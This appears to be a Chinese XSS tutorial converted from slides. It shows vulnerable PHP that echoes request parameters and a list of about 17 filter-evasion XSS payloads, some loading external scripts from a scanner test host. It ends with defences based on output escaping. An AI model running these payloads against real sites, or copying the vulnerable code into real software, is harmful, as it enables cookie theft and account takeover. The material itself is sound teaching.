Ø
XSS
跨站漏洞
(
Cross-site scripting
)
:
跨站点脚本攻击(
XSS/CSS
)安全缺陷,往往存在于那些提供动态网页的
Web
应用系统中。这类
Web
站点提供动态的页面,这类页
面由为用户动态建造的多个源站点的信息组成。如果应用系统存在该漏洞,则攻击者可以将恶意内容(一般为代码)插入到
Web
站
点提供动态的页面中,以收集其他用户在使用被攻击页时提交的重要信息,或简单的在其它用户的浏览器上执行攻击脚本代码。
Ø
代码示例:
Exp 1:
<?php
$error_message = $_GET['error'];
print $error_message ;
?>
Exp2
<?php
<?php
redirect_page = $_GET['page'];
header ("Location: " . redirect_page);
?>
Ø
利用方法:
1.
<script>alert(document.cookie)</script>
……
.
2.
http://www.a.php
………..
XSS
漏洞分类
:
XSS
的按照攻击时漏洞利用方式大体分为两种
:
反射型
XSS
:
构造特殊
url,
引诱用户去访问
,
盗取用户登陆
cookie
,获取用户资料,下载木马
持久型
XSS
:灌入有漏洞页面特殊数据,用户访问后,获取资料,窃取登陆
cookie,
按照木马
XSS
漏洞实例剖析
:
<?php
echo isset($_GET['msg'])?$_GET[‘msg’]:””;?>
利用方式
:
1.
? msg=1<script>alert(404667579926)</script>
2.
?msg=1<ScRiPt%20%0a%0d>alert(404677579926)%3B</ScRiPt>
3.
?msg=%3Cimg%20src%3D%22JaVaS%26%2399%3BRiPt:alert%28404757579926%29%3B%22%3E
4.
?msg=1<%00script>alert(404777579932)%3B</script>
5.
?msg=1<DIV+STYLE="width:expression(alert(404797579932))%3B">
6.
?msg=1<FRAMESET><FRAME+SRC="JaVaS%26%2399%3BRiPt:alert(404807579932)%3B"></FRAMESET>
7.
?msg=1%3Cimg%20dynsrc%3D%22JaVaScRiPt:alert%28404817579932%29%3B%22%3E
8.
?msg=1<META+HTTP-EQUIV="refresh"+CONTENT="0%3Burl=JaVaS%26%2399%3BRiPt:alert(404827579932)%3B">
9.
?msg=1<iframe+src="data:text/html%3Bbase64,PHNjcmlwdD5hbGVydCgnYWN1bmV0aXgteHNzLXRlc3QnKTwvc2NyaXB0Pgo=
"+invalid="404837579932">
10.
?msg=1<embed+src="http://testphp.acunetix.com/xss.swf?404847579932"+type="application/x-shockwave-flash"/>
11.
?msg=1<body+οnlοad=alert(404857579932)>
12.
?msg=1<ScRiPt+src=http://testphp.acunetix.com/xss.js?404867579932></ScRiPt>
13.
?msg=1<img+src=http://testphp.acunetix.com/dot.gif+οnlοad=alert(404897579939)>
14.
?msg=1<script/xss+src=http://testphp.acunetix.com/xss.js?404887579939></script>
15.
?msg=1<ScRiPt+bad=">"+src="http://testphp.acunetix.com/xss.js?404927579939"></ScRiPt>
16.
?msg=%3C/xss/*-*/style=xss:e/**/xpression(alert(405067579944))%3E
17.
?msg=<meta+http-equiv='Set-cookie'+content='cookiename=cookievalue'>
Ø
危害
:
获取用户信息
,
冒充用户登录
,
传播木马信息
,
散布违禁信息
……
.
Ø
防范方法
:
另外一个
Web
应用安全的基础是对输出进行转义或对特殊字符进行编码,以保证原意不变。输出转义是对
xss
防范
基础
Ø
怎么样进行过滤
:
l
识别输
出
-
它是什么,做什么用
?
l
输出转义
-
在外系统中特殊字符的可靠和完整的列表
l
区分已
转义
及
未转义
数据
-
定义已经过滤的数组
修改方法:
<?php
$error_message = $_GET['error'];
$html=array();
$html['error']=htmlspecialchars($error_message, ENT_QUOTES);
echo $html['error'];
?>